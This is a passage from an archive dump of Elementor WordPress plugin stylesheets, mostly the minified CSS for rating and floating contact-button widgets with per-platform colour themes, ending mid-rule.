--notice-control-color: var(--e-a-color-danger); } .elementor-control-notice-icon { flex-basis: 18px; color: var(--notice-control-color); } .elementor-control-notice-main { display: flex; flex-direction: column; justify-content: flex-start; align-items: flex-start; gap: 6px; flex: 1; } .elementor-control-notice-main-heading { font-weight: 700; font-style: italic; } .elementor-control-notice-main-content { font-style: italic; line-height: 1.5; } .elementor-control-notice-main-actions { display: flex; gap: 10px; padding-block-start: 8px; } .elementor-control-notice-main a { color: inherit; font-weight: 700; cursor: pointer; } .elementor-control-notice-main a:hover, .elementor-control-notice-main a:focus { color: inherit; } .elementor-control-notice-dismiss { -webkit-appearance: none; -moz-appearance: none; appearance: none; background-color: transparent; border: 0; padding: 0; margin: 0; cursor: pointer; } /*# sourceMappingURL=admin.css.map */assets/css/widget-rating.min.css000064400000002452147206604650012714 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-rating{--e-rating-gap:0px;--e-rating-icon-font-size:16px;--e-rating-icon-color:#ccd6df;--e-rating-icon-marked-color:#f0ad4e;--e-rating-icon-marked-width:100%;--e-rating-justify-content:flex-start}.elementor-widget-rating .e-rating{display:flex;justify-content:var(--e-rating-justify-content)}.elementor-widget-rating .e-rating-wrapper{display:flex;justify-content:inherit;flex-direction:row;flex-wrap:wrap;width:-moz-fit-content;width:fit-content;margin-block-end:calc(0px - var(--e-rating-gap));margin-inline-end:calc(0px - var(--e-rating-gap))}.elementor-widget-rating .e-rating .e-icon{position:relative;margin-block-end:var(--e-rating-gap);margin-inline-end:var(--e-rating-gap)}.elementor-widget-rating .e-rating .e-icon-wrapper.e-icon-marked{--e-rating-icon-color:var(--e-rating-icon-marked-color);width:var(--e-rating-icon-marked-width);position:absolute;z-index:1;height:100%;left:0;top:0;overflow:hidden}.elementor-widget-rating .e-rating .e-icon-wrapper :is(i,svg){display:flex;flex-shrink:0}.elementor-widget-rating .e-rating .e-icon-wrapper i{font-size:var(--e-rating-icon-font-size);color:var(--e-rating-icon-color)}.elementor-widget-rating .e-rating .e-icon-wrapper svg{width:auto;height:var(--e-rating-icon-font-size);fill:var(--e-rating-icon-color)}assets/css/widget-floating-buttons.min.css000064400000265613147206604650014741 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .e-contact-buttons{--e-contact-buttons-chat-box-width:360px;--e-contact-buttons-size-small:55px;--e-contact-buttons-size-medium:65px;--e-contact-buttons-size-large:75px;--e-contact-buttons-svg-size-small:32px;--e-contact-buttons-svg-size-medium:38px;--e-contact-buttons-svg-size-large:42px;--e-contact-buttons-profile-image-size-small:65px;--e-contact-buttons-profile-image-size-medium:75px;--e-contact-buttons-profile-image-size-large:85px;--e-contact-buttons-dot:red;--e-contact-buttons-dot-size:16px;--e-contact-buttons-profile-dot-bg:#39aa59;--e-contact-buttons-border-radius:20px;--e-contact-button-chat-button-animation-delay:0;--e-contact-buttons-icon-size-small:45px;--e-contact-buttons-icon-size-medium:50px;--e-contact-buttons-icon-size-large:55px;--e-contact-buttons-contact-gap:15px;--e-contact-buttons-horizontal-offset:25px;--e-contact-buttons-vertical-offset:25px;--e-contact-buttons-box-shadow:4px 4px 10px 0px rgba(0,0,0,0.15);--e-contact-buttons-drop-shadow:drop-shadow(4px 4px 10px rgba(0,0,0,0.15));--e-contact-buttons-button-bg:#467ff7;--e-contact-buttons-button-bg-hover:#1c2448;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#1c2448;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-active-button-bg:#fff;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-body:#000;--e-contact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#c8d5dc;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#467ff7;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#1c2448;--e-contact-buttons-chat-box-bg:#fff;--e-contact-buttons-contact-button-icon:#fff;--e-contact-buttons-contact-button-icon-hover:#fff;--e-contact-buttons-contact-button-bg:#467ff7;--e-contact-buttons-contact-button-bg-hover:#1c2448;--e-contact-buttons-tooltip-text:#1c2448;--e-contact-buttons-tooltip-bg:#fff;--e-contact-buttons-contact-title-text-color:#1c2448;--e-contact-buttons-contact-description-text-color:#1c2448;display:flex;flex-direction:column;gap:20px;pointer-events:none;position:fixed;width:var(--e-contact-buttons-chat-box-width);z-index:10000}@media (max-width:767px){.e-contact-buttons{inset-inline-end:0;width:90vw}}.e-contact-buttons.has-h-alignment-start{justify-content:flex-start;inset-inline-start:var(--e-contact-buttons-horizontal-offset)}@media (max-width:767px){.e-contact-buttons.has-h-alignment-start{inset-inline-start:0}}.e-contact-buttons.has-h-alignment-start .e-contact-buttons__chat-button-container{justify-content:flex-start;padding-inline-start:20px;padding-inline-end:0}@media (max-width:767px){.e-contact-buttons.has-h-alignment-start .e-contact-buttons__chat-button-container{inset-inline-end:unset;inset-inline-start:var(--e-contact-buttons-horizontal-offset)}}.e-contact-buttons.has-h-alignment-end{align-items:flex-end;justify-content:flex-end;inset-inline-end:var(--e-contact-buttons-horizontal-offset)}.e-contact-buttons.has-h-alignment-end .e-contact-buttons__chat-button-container{justify-content:flex-end;inset-inline-end:var(--e-contact-buttons-horizontal-offset);padding-inline-end:20px}@media (max-width:767px){.e-contact-buttons.has-h-alignment-end .e-contact-buttons__chat-button-container{inset-inline-end:unset}}.e-contact-buttons.has-h-alignment-center{inset-inline-start:50%;justify-content:center;transform:translateX(-50%)}.e-contact-buttons.has-h-alignment-center .e-contact-buttons__chat-button-container{justify-content:center;padding-inline:0}.e-contact-buttons.has-h-alignment-center .e-contact-buttons__content-wrapper{inset-inline-end:calc(var(--e-contact-buttons-chat-box-width) / 2 - 40px);position:relative}.e-contact-buttons.has-v-alignment-top{top:var(--e-contact-buttons-vertical-offset)}.e-contact-buttons.has-v-alignment-top .e-contact-buttons__content-wrapper{order:2}.e-contact-buttons.has-v-alignment-top .e-contact-buttons__chat-button-container{order:1}.e-contact-buttons.has-v-alignment-middle{align-items:center;flex-direction:row;top:50%;transform:translateY(-50%)}.e-contact-buttons.has-v-alignment-middle .e-contact-buttons__chat-button-container{padding-inline:0}.e-contact-buttons.has-v-alignment-middle.has-h-alignment-start .e-contact-buttons__content-wrapper{order:2}.e-contact-buttons.has-v-alignment-middle.has-h-alignment-start .e-contact-buttons__chat-button-container{order:1;padding-inline:0}.e-contact-buttons.has-h-alignment-center.has-v-alignment-middle{flex-direction:column;transform:translate(-50%,-50%)}.e-contact-buttons.has-v-alignment-bottom{bottom:var(--e-contact-buttons-vertical-offset)}.e-contact-buttons.has-platform-whatsapp{--e-contact-buttons-button-bg:#25d366;--e-contact-buttons-button-bg-hover:#075e54;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#075e54;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-message-bubble-body:#000;--e-contact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#ece5dd;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#25d366;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#075e54;--e-contact-buttons-chat-box-bg:#fff}.e-contact-buttons.has-platform-skype{--e-contact-buttons-button-bg:#00aff0;--e-contact-buttons-button-bg-hover:#0d72cf;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#0d72cf;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-message-bubble-body:#000;--e-contact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#cdf7ff;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#00aff0;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#0d72cf;--e-contact-buttons-chat-box-bg:#fff}.e-contact-buttons.has-platform-messenger{--e-contact-buttons-button-bg:#168aff;--e-contact-buttons-button-bg-hover:#168aff;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#168aff;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-message-bubble-body:#000;--e-contact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#f0f0f0;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#168aff;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#168aff;--e-contact-buttons-chat-box-bg:#fff}.e-contact-buttons.has-platform-viber{--e-contact-buttons-button-bg:#7360f2;--e-contact-buttons-button-bg-hover:#4e4879;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#4e4879;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-message-bubble-body:#000;--e-contact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#e5e1ff;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#7360f2;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#4e4879;--e-contact-buttons-chat-box-bg:#fff}.e-contact-buttons.has-platform-waze{--e-contact-buttons-button-bg:#3cf;--e-contact-buttons-button-bg-hover:#09f;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#09f;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-message-bubble-body:#000;--e-contact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#ece5dd;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#3cf;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#09f;--e-contact-buttons-chat-box-bg:#fff}.e-contact-buttons.has-corners-rounded{--e-contact-buttons-border-radius:20px}.e-contact-buttons.has-corners-round{--e-contact-buttons-border-radius:50px}.e-contact-buttons.has-corners-sharp{--e-contact-buttons-border-radius:0}.e-contact-buttons:not(.has-animations) .e-contact-buttons__content-wrapper.hidden{display:none}.e-contact-buttons.has-animations .e-contact-buttons__content-wrapper.hidden{display:block;visibility:hidden;transition:1s}.e-contact-buttons.has-animations .e-contact-buttons__content-wrapper.animated-wrapper{visibility:hidden;opacity:0;transform:none;animation:e-contact-buttons-close 1s}.e-contact-buttons__chat-button-shadow,.e-contact-buttons__contact-box-shadow,.e-contact-buttons__contact-box-shadow:is(a),.e-contact-buttons__content{box-shadow:var(--e-contact-buttons-box-shadow)}.e-contact-buttons__chat-button-drop-shadow{filter:var(--e-contact-buttons-drop-shadow)}.e-contact-buttons__content{border-radius:var(--e-contact-buttons-border-radius);font-family:var(--e-global-typography-text-font-family,"Poppins"),Sans-serif;overflow:hidden}.e-contact-buttons__top-bar{align-items:center;background-color:var(--e-contact-buttons-top-bar-bg);display:flex;gap:20px;padding:20px;position:relative}.e-contact-buttons__top-bar-title{color:var(--e-contact-buttons-top-bar-title);font-size:24px;font-weight:700;margin-block-end:0}.e-contact-buttons__top-bar-subtitle{color:var(--e-contact-buttons-top-bar-subtitle);font-size:20px;margin-block-end:0}.e-contact-buttons__profile-image{align-items:center;display:flex;position:relative}.e-contact-buttons__profile-image img{border-radius:50%;-o-object-fit:cover;object-fit:cover}.e-contact-buttons__profile-image.has-size-small img{height:var(--e-contact-buttons-profile-image-size-small);width:var(--e-contact-buttons-profile-image-size-small)}.e-contact-buttons__profile-image.has-size-medium img{height:var(--e-contact-buttons-profile-image-size-medium);width:var(--e-contact-buttons-profile-image-size-medium)}.e-contact-buttons__profile-image.has-size-large img{height:var(--e-contact-buttons-profile-image-size-large);width:var(--e-contact-buttons-profile-image-size-large)}.e-contact-buttons__profile-image.has-dot:after{background-color:var(--e-contact-buttons-profile-dot-bg);border:3px solid var(--e-contact-buttons-top-bar-bg);border-radius:50%;bottom:5px;content:"";height:20px;position:absolute;right:0;width:20px}.e-contact-buttons__close-button,.e-contact-buttons__close-button[type=button]{background:none;border:0;color:var(--e-contact-buttons-close-button-color);padding:0;position:absolute;inset-inline-end:20px;top:20px}.e-contact-buttons__close-button:focus,.e-contact-buttons__close-button:hover,.e-contact-buttons__close-button[type=button]:focus,.e-contact-buttons__close-button[type=button]:hover{background:none;border:0;color:var(--e-contact-buttons-close-button-color)}.e-contact-buttons__chat-button-container,.e-contact-buttons__contact-icon-link,.e-contact-buttons__content-wrapper{pointer-events:auto}.e-contact-buttons__chat-button-container{display:flex;max-width:-moz-max-content;max-width:max-content}@media (max-width:767px){.e-contact-buttons__chat-button-container{position:relative}}.e-contact-buttons__chat-button,.e-contact-buttons__chat-button[type=button]{align-items:center;background-color:var(--e-contact-buttons-button-bg);border-radius:50%;border:0;color:var(--e-contact-buttons-button-icon);display:flex;justify-content:center;padding:0;position:relative;transition:all .3s}.e-contact-buttons__chat-button[type=button] svg,.e-contact-buttons__chat-button svg{fill:var(--e-contact-buttons-button-icon)}.e-contact-buttons__chat-button:focus,.e-contact-buttons__chat-button:hover,.e-contact-buttons__chat-button[type=button]:focus,.e-contact-buttons__chat-button[type=button]:hover{background-color:var(--e-contact-buttons-button-bg-hover);color:var(--e-contact-buttons-button-icon-hover);transition:all .3s}.e-contact-buttons__chat-button:focus svg,.e-contact-buttons__chat-button:hover svg,.e-contact-buttons__chat-button[type=button]:focus svg,.e-contact-buttons__chat-button[type=button]:hover svg{fill:var(--e-contact-buttons-button-icon-hover)}.e-contact-buttons__chat-button.has-dot:after,.e-contact-buttons__chat-button[type=button].has-dot:after{background-color:var(--e-contact-buttons-dot);border-radius:50%;content:"";height:var(--e-contact-buttons-dot-size);position:absolute;right:0;top:0;width:var(--e-contact-buttons-dot-size)}.e-contact-buttons__chat-button.has-size-small,.e-contact-buttons__chat-button[type=button].has-size-small{height:var(--e-contact-buttons-size-small);width:var(--e-contact-buttons-size-small)}.e-contact-buttons__chat-button.has-size-small svg,.e-contact-buttons__chat-button[type=button].has-size-small svg{height:var(--e-contact-buttons-svg-size-small);width:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons__chat-button.has-size-small i,.e-contact-buttons__chat-button[type=button].has-size-small i{font-size:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons__chat-button.has-size-medium,.e-contact-buttons__chat-button[type=button].has-size-medium{height:var(--e-contact-buttons-size-medium);width:var(--e-contact-buttons-size-medium)}.e-contact-buttons__chat-button.has-size-medium svg,.e-contact-buttons__chat-button[type=button].has-size-medium svg{height:var(--e-contact-buttons-svg-size-medium);width:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons__chat-button.has-size-medium i,.e-contact-buttons__chat-button[type=button].has-size-medium i{font-size:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons__chat-button.has-size-large,.e-contact-buttons__chat-button[type=button].has-size-large{height:var(--e-contact-buttons-size-large);width:var(--e-contact-buttons-size-large)}.e-contact-buttons__chat-button.has-size-large svg,.e-contact-buttons__chat-button[type=button].has-size-large svg{height:var(--e-contact-buttons-svg-size-large);width:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons__chat-button.has-size-large i,.e-contact-buttons__chat-button[type=button].has-size-large i{font-size:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons__chat-button.has-entrance-animation-delay,.e-contact-buttons__chat-button[type=button].has-entrance-animation-delay{animation-delay:var(--e-contact-button-chat-button-animation-delay)}.e-contact-buttons__chat-button.has-entrance-animation-duration-slow,.e-contact-buttons__chat-button[type=button].has-entrance-animation-duration-slow{animation-duration:2s}.e-contact-buttons__chat-button.has-entrance-animation-duration-normal,.e-contact-buttons__chat-button[type=button].has-entrance-animation-duration-normal{animation-duration:1s}.e-contact-buttons__chat-button.has-entrance-animation-duration-fast,.e-contact-buttons__chat-button[type=button].has-entrance-animation-duration-fast{animation-duration:.8s}.e-contact-buttons__chat-button.has-entrance-animation,.e-contact-buttons__chat-button[type=button].has-entrance-animation{opacity:0}.e-contact-buttons__chat-button.visible,.e-contact-buttons__chat-button[type=button].visible{opacity:1}.e-contact-buttons__message-bubble{background-color:var(--e-contact-buttons-message-bubble-chat-bg);padding:25px 20px;padding-inline-start:40px}.e-contact-buttons__message-bubble.has-typing-animation .e-contact-buttons__bubble-container{height:0;opacity:0;visibility:hidden}.e-contact-buttons__bubble{background-color:var(--e-contact-buttons-message-bubble-bubble-bg);border-radius:15px;padding:20px;position:relative}.e-contact-buttons__bubble:after{border-style:solid;border-inline-start-width:0;border-inline-end-width:40px;border-block-start-width:0;border-block-end-width:40px;border-inline-start-color:transparent;border-inline-end-color:var(--e-contact-buttons-message-bubble-bubble-bg);border-block-start-color:transparent;border-block-end-color:transparent;content:"";height:0;position:absolute;inset-inline-start:-20px;top:0;width:0}.e-contact-buttons__message-bubble-name{color:var(--e-contact-buttons-message-bubble-name);font-size:20px;line-height:25px;font-weight:600;margin-block-end:8px}.e-contact-buttons__message-bubble-body{color:var(--e-contact-buttons-message-bubble-body);font-size:20px;line-height:25px;margin-block-end:8px}.e-contact-buttons__message-bubble-time{color:var(--e-contact-buttons-message-bubble-time);font-size:20px;line-height:25px;font-weight:600;margin-block-end:0;text-align:end}.e-contact-buttons__powered-container{text-align:center}.e-contact-buttons__powered-text{color:#000;font-size:16px;font-weight:500;margin-block-end:12px}.e-contact-buttons__dots-container{background-color:var(--e-contact-buttons-message-bubble-bubble-bg);border-radius:15px;display:inline-flex;padding:10px 12px}.e-contact-buttons__dot{animation:e-contact-buttons-typing-jump 1s infinite;background-color:var(--e-contact-buttons-message-bubble-name);border-radius:50%;display:inline-block;height:7px;margin-left:auto;margin-right:3px;position:relative;width:7px}.e-contact-buttons__dot-1{animation-delay:.2s}.e-contact-buttons__dot-2{animation-delay:.4s}.e-contact-buttons__dot-3{animation-delay:.6s}.e-contact-buttons__send-button{background-color:var(--e-contact-buttons-chat-box-bg);padding:12px 20px 20px}.e-contact-buttons__send-button .e-contact-buttons__send-cta{color:var(--e-contact-buttons-send-button-icon)}.e-contact-buttons__send-button .e-contact-buttons__send-cta:focus,.e-contact-buttons__send-button .e-contact-buttons__send-cta:hover{color:var(--e-contact-buttons-send-button-icon-hover)}.e-contact-buttons__send-cta{align-items:center;background-color:var(--e-contact-buttons-send-button-bg);border-radius:30px;display:flex;font-size:18px;font-weight:500;gap:8px;justify-content:center;padding:10px;text-align:center;transition:all .3s;width:100%}.e-contact-buttons__send-cta svg{fill:var(--e-contact-buttons-send-button-icon);height:28px;width:28px}.e-contact-buttons__send-cta:focus,.e-contact-buttons__send-cta:hover{background-color:var(--e-contact-buttons-send-button-bg-hover);transition:all .3s}.e-contact-buttons__send-cta:focus svg,.e-contact-buttons__send-cta:hover svg{fill:var(--e-contact-buttons-send-button-icon-hover)}.e-contact-buttons__content.visible .e-contact-buttons__message-bubble.has-typing-animation .e-contact-buttons__dots-container{animation-delay:0;animation-duration:2s;animation-fill-mode:forwards;animation-iteration-count:1;animation-name:e-contact-buttons-disappear}.e-contact-buttons__content.visible .e-contact-buttons__message-bubble.has-typing-animation .e-contact-buttons__bubble-container{animation-delay:2s;animation-duration:.1s;animation-fill-mode:forwards;animation-iteration-count:1;animation-name:e-contact-buttons-appear}.e-con:has(.e-contact-buttons)>.e-con-inner,.e-con>.e-con-inner.e-con-inner--floating-buttons{padding-block-end:0;padding-block-start:0}@keyframes e-contact-buttons-typing-jump{0%{bottom:0}20%{bottom:5px}40%{bottom:0}}@keyframes e-contact-buttons-appear{0%{height:0;opacity:0;visibility:hidden}to{height:auto;opacity:1;visibility:visible}}@keyframes e-contact-buttons-disappear{0%{display:inline-flex}to{display:none}}@keyframes e-contact-buttons-close{0%,99.99%{visibility:visible;opacity:1}to{visibility:hidden;opacity:0;transform:none}}.e-contact-buttons-var-1{--e-contact-buttons-button-bg:#324a6d;--e-contact-buttons-button-bg-hover:#1c2448;--e-contact-buttons-top-bar-bg:#324a6d;--e-contact-buttons-message-bubble-name:#1c2448;--e-contact-buttons-message-bubble-body:#1c2448;--e-contact-buttons-message-bubble-time:#1c2448;--e-contact-buttons-message-bubble-bubble-bg:#c8d5dc;--e-contact-buttons-message-bubble-chat-bg:#fff;--e-contact-buttons-contact-text:#1c2448;--e-contact-buttons-var-1-size-small:26px;--e-contact-buttons-var-1-size-medium:28px;--e-contact-buttons-var-1-size-large:32px}.e-contact-buttons-var-1 .e-contact-buttons__contact{align-items:center;background-color:var(--e-contact-buttons-chat-box-bg);display:flex;flex-direction:column;gap:20px;justify-content:center;padding:0 20px 20px}.e-contact-buttons-var-1 .e-contact-buttons__message-bubble{background-color:var(--e-contact-buttons-chat-box-bg);padding:20px;padding-inline-start:40px}.e-contact-buttons-var-1 .e-contact-buttons__contact-text{color:var(--e-contact-buttons-contact-text);font-size:20px;font-weight:400;line-height:25px;margin-bottom:0}.e-contact-buttons-var-1 .e-contact-buttons__contact-links{display:flex;gap:12px}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link{align-items:center;background-color:var(--e-contact-buttons-contact-button-bg);border-radius:50px;color:var(--e-contact-buttons-contact-button-icon);display:inline-flex;justify-content:center;transition:all .3s}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link:hover{background-color:var(--e-contact-buttons-contact-button-bg-hover);color:var(--e-contact-buttons-contact-button-icon-hover);transition:all .3s}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link:focus svg,.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link:hover svg{fill:var(--e-contact-buttons-contact-button-icon-hover)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-small{height:var(--e-contact-buttons-icon-size-small);width:var(--e-contact-buttons-icon-size-small)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-small svg{height:var(--e-contact-buttons-var-1-size-small);width:var(--e-contact-buttons-var-1-size-small)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-small i{font-size:var(--e-contact-buttons-var-1-size-small)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-medium{height:var(--e-contact-buttons-icon-size-medium);width:var(--e-contact-buttons-icon-size-medium)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-medium svg{height:var(--e-contact-buttons-var-1-size-medium);width:var(--e-contact-buttons-var-1-size-medium)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-medium i{font-size:var(--e-contact-buttons-var-1-size-medium)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-large{height:var(--e-contact-buttons-icon-size-large);width:var(--e-contact-buttons-icon-size-large)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-large svg{height:var(--e-contact-buttons-var-1-size-large);width:var(--e-contact-buttons-var-1-size-large)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-large i{font-size:var(--e-contact-buttons-var-1-size-large)}.e-contact-buttons-var-3{--e-contact-buttons-size-small:48px;--e-contact-buttons-size-medium:56px;--e-contact-buttons-size-large:64px;--e-contact-buttons-svg-size-small:24px;--e-contact-buttons-svg-size-medium:28px;--e-contact-buttons-svg-size-large:32px;--e-contact-buttons-icon-link-gap:12px;--e-contact-buttons-icon-link-spacing:8px;--e-contact-buttons-icon-link-divider-weight:1px;--e-contact-buttons-send-button-padding-block-end:8px;--e-contact-buttons-send-button-padding-block-start:8px;--e-contact-buttons-send-button-padding-inline-end:16px;--e-contact-buttons-send-button-padding-inline-start:16px;--e-contact-buttons-chat-box-padding-block-end:16px;--e-contact-buttons-chat-box-padding-block-start:16px;--e-contact-buttons-chat-box-padding-inline-end:16px;--e-contact-buttons-chat-box-padding-inline-start:16px;--e-contact-buttons-button-bg:#324a6d;--e-contact-buttons-button-bg-hover:#1c2448;--e-contact-buttons-active-button-bg:#f3f5f8;--e-contact-buttons-active-button-color:#1c2448;--e-contact-buttons-close-button-color:#1c2448;--e-contact-buttons-top-bar-title:#1c2448;--e-contact-buttons-icon-link-text-color:#1c2448;--e-contact-buttons-icon-link-text-color-hover:#324a6d;--e-contact-buttons-icon-link-divider-color:#324a6d;--e-contact-buttons-send-button-text:#fff;--e-contact-buttons-send-button-text-hover:#fff;--e-contact-buttons-send-button-bg:#467ff7;--e-contact-buttons-send-button-bg-hover:#324a6d;width:auto}.e-contact-buttons-var-3.has-h-alignment-center .e-contact-buttons__content-wrapper{inset-inline-end:40px}.e-contact-buttons-var-3 .e-contact-buttons__chat-buttons-container{display:flex}.e-contact-buttons-var-3 .e-contact-buttons__chat-button[aria-expanded=true],.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button][aria-expanded=true]{background-color:var(--e-contact-buttons-active-button-bg);color:var(--e-contact-buttons-active-button-color)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button[aria-expanded=true] svg,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button][aria-expanded=true] svg{fill:var(--e-contact-buttons-active-button-color)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-small,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-small,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-small,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-small{height:var(--e-contact-buttons-size-small);width:var(--e-contact-buttons-size-small)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-small svg,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-small svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-small svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-small svg{height:var(--e-contact-buttons-svg-size-small);width:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-small i,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-small i,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-small i,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-small i{font-size:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-medium,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-medium,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-medium,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-medium{height:var(--e-contact-buttons-size-medium);width:var(--e-contact-buttons-size-medium)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-medium svg,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-medium svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-medium svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-medium svg{height:var(--e-contact-buttons-svg-size-medium);width:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-medium i,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-medium i,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-medium i,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-medium i{font-size:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-large,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-large,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-large,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-large{height:var(--e-contact-buttons-size-large);width:var(--e-contact-buttons-size-large)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-large svg,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-large svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-large svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-large svg{height:var(--e-contact-buttons-svg-size-large);width:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-large i,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-large i,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-large i,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-large i{font-size:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-3 